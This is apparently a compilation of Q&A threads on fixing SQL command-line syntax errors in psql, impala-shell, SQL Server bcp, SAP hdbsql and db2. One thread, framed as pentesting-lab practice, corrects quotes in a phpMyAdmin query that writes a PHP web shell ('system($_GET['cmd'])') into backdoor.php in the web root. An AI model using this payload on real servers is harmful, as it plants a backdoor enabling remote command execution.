How to fix syntax error at or near "psql" in psql ubuntu - sql

I am entirely new to psql and not particularly familiar with some terms. I am following instructions on an ETL process for mimic-in the link here: https://github.com/chichukw/mimic-omop/blob/master/README-run-etl.md. When I run this code, it shows no output but this error:
syntax error at or near "psql"
I have tried adding semicolon, removing the psql part and removing the quotes and dollar sign but I still get this syntax error on the first character regardless.
psql "$MIMIC" postgres_create_mimic_id.sql;
I expect concept ids to be created after running this code on the server using the jupyter terminal.

The only way I can think of how you could get that output/error is if you did this:
[root#foo /]# psql
psql (11.5)
Type "help" for help.
postgres=# psql "$MIMIC" postgres_create_mimic_id.sql;
ERROR: syntax error at or near "psql"
LINE 1: psql "$MIMIC" postgres_create_mimic_id.sql;
^
postgres=#
Instead, I think you should be doing this:
[root#foo /]# export MIMIC='host=localhost dbname=postgres user=postgres options=--search_path=mimiciii'
[root#foo /]# psql "$MIMIC" -f postgres_create_mimic_id.sql;
Disclosure: I am an EnterpriseDB (EDB) employee

Related

php code injection in phpmyadmin

I'm toying with some pentesting VMs, and I'm trying a shell upload in phpmyadmin.
The tutorial, I'm trying to follow is http://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/
The question I have however is pure SQL - the command I'm trying to use:
SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”
is producing the following error:
Error
There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problem
ERROR: Unknown Punctuation String # 9
STR: <?
SQL: SELECT “<?php system($_GET[‘cmd’]);SELECT “<?php system($_GET[‘cmd’]);SELECT “<?php system($_GET[‘cmd’]);
SQL query: Documentation
SELECT “<?php system($_GET[‘cmd’]);
MySQL said: Documentation
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?php system($_GET[‘cmd’])' at line 1
Any ideas how could I format it to be accepted?
The quotes were copied dirty. Replace them after pasting the snippet:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php";

How to run a .sql file once I am already in the impala shell?

I am already in my required database
Now I want to run the query from location
[quickstart.cloudera:21000] > -f /home/cloudera/impala-tpcds-kit/queries/q4.sql;
Query: -f /home/cloudera/impala-tpcds-kit/queries/q4.sql
Query submitted at: 2017-07-11 11:18:13 (Coordinator: http://quickstart.cloudera:25000)
ERROR: AnalysisException: Syntax error in line 1:
-f /home/cloudera/impala-tpcds-kit/queries/q4.sql
^
Encountered: -
Expected: ALTER, COMPUTE, CREATE, DELETE, DESCRIBE, DROP, EXPLAIN, GRANT, INSERT, INVALIDATE, LOAD, REFRESH, REVOKE, SELECT, SET, SHOW, TRUNCATE, UPDATE, UPSERT, USE, VALUES, WITH
CAUSED BY: Exception: Syntax error
Can be done using "source"
$ impala-shell -i localhost
...
[localhost:21000] > source commands.sql;

SQL Server :query for exporting to file

I'm trying to learn the basics of sql programming, I am working with SQL Server 2014. I have managed to import a file into a table with the command:
BULK INSERT Db.dbo.Co2_table
FROM 'd:\dataset_co2.txt'
with
(
FIRSTROW =2,
ROWTERMINATOR ='\n'
)
GO
I would like to do the dual operation, that is exporting the content of a table to a file. I have tried:
SELECT *
INTO OUTFILE 'C:\datadump\sqldbdump.txt"
FROM dbo.alarms_2_2014
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n';
bcp Db.dbo.Co2_table out "C:\users\ws5.en-cre\desktop\prova.txt" -T –c
sqlcmd -S . -d Db -E -s, -W -Q "SELECT * FROM dbo.Co2_table" > ExcelTest.csv
But none of these seem to work (I get error messages). Any idea?
I suspect you are running those commands from Management Studio. You should use console for this command.This works for me. Also check if you have permissions on that folder.
bcp "select * from Db.dbo.Co2_table" queryout C:\users\ws5.en-cre\desktop\prova.txt -c -T
or
bcp Db.dbo.Co2_table out C:\users\ws5.en-cre\desktop\prova.txt -c -T
Also you have suspicious symbol in c parameter -T –c. It is not a regular dash -.
Thank you for you answers and suggestions, and apologies for my lack of precision and my late reply (in this case I missed the notifications from stackoverflow).
Regarding the question on whether I use mstudio or console, what I do is clicking on “new query” from mstudio, write the code and press execute. So I guess the answer is that I use mstudio.
If I try:
bcp "select * from Db.dbo.Co2_table" queryout
C:\users\ws5.en-cre\desktop\prova.txt -c –T
it says
Msg 102, Level 15, State 1, Line 1 Incorrect syntax near 'queryout'.
I guess in this case one of the problem is that the quotes are missing, but even adding them doesn’t solve the problem.
I am looking for a solution that can be implemented as a script. I am familiar with excel vba macros, I would like to implement something like that.
Thanks,
Alex

Using sql within shell script

I am currently trying to integrate an sql statement into a shell script, But facing major syntax issue:
My statement in the script:
su - <sid>adm -c 'hdbsql -U SYSTEM export "'SCHEMA'"."'*'" as binary into "'Export Location'" with reconfigure'
I get the following error:
* 257: sql syntax error: incorrect syntax near "*": line 1 col 16 (at pos 16) SQLSTATE: HY000
Would really appreciate if anyone could help me with this.
Thanks and Regards,
AK
Your command line doesn't make much sense to me. It starts with
su - <sid>adm
which means that you are redirecting the contents of the file "sid" into "su" and then redirecting the result of that operation into the file "adm".
Second problem is that in the command you are giving to adm, the single quotes end right before the "" which means, that the "" will get interpreted by the shell as a file glob:
-c 'hdbsql -U SYSTEM export "'SCHEMA'"."'*'" as binary into "'Export Location'" with reconfigure'
You'll need to escape those single quotes like this: "\'".
But I think your problem solving approach is not good. Try to reduce to problem and only then start adding additional things to it. So first try to execute the SQL statement from the "hdbsql" shell. Does it work?
$ hdbsql
> YOUR SQL STATEMENT HERE
Once that works, try to execute the SQL statement from the unix shell as a user:
$ hdbsql -U SYSTEM export ...
Once that works, try to execute it via su
$ su - ...

How to escape apostrophe in a db2 sql query, running within a shell script?

I'm trying run a query that will include static columns in its output. The select statement works when I run it via the CLP, but not when I execute it within a shell script:
su - myid -c 'db2 connect to mydb;db2 -x -v "select COL1,'','',COL2,'','',COL3L from MYTABLE fetch first 10 rows only"; db2 connect reset;'
When I run this, the output error I get is:
SQL0104N An unexpected token "," was found following "select COL1,".
Expected tokens may include: "<select_sublist>". SQLSTATE=42601
SQL1024N A database connection does not exist. SQLSTATE=08003
I've even tried putting the select statement in a variable and inserting that within the statement, but still the same error. Any help would be greatly appreciated. -Thx
You should escape the single quotes as with a backlash as in :
su - myid -c 'db2 connect to mydb;db2 -x -v "select COL1,\'\',\'\',COL2,\'\',\'\',COL3L from MYTABLE fetch first 10 rows only"; db2 connect reset;'
Beware, I didn't test it... no shell at hand just now.
UPDATE:
Finally I got my hands on a DB2 instance.. after a little testing i got it working.
It turns out that the previous syntax was faulty. The proper way of quoting the single quote is (in this case) '\'' as in:
su - myid -c 'db2 connect to mydb;db2 -x -v "select COL1,'\'','\'',COL2,'\'','\'',COL3L from MYTABLE fetch first 10 rows only"; db2 connect reset;'
That's because the single quote around the whole command must be closed (') in order to supply the escape for the single quote in the db2 query (\') and then reopened to resume the command quoting ('). Weird as it looks, it works....
This is the command I used to test it:
bash -c 'db2 connect to mydb;db2 -x -v "select 1,'\'','\'',2,'\'','\'',3 from SYSIBM.SYSDUMMY1 fetch first 10 rows only"; db2 connect reset;'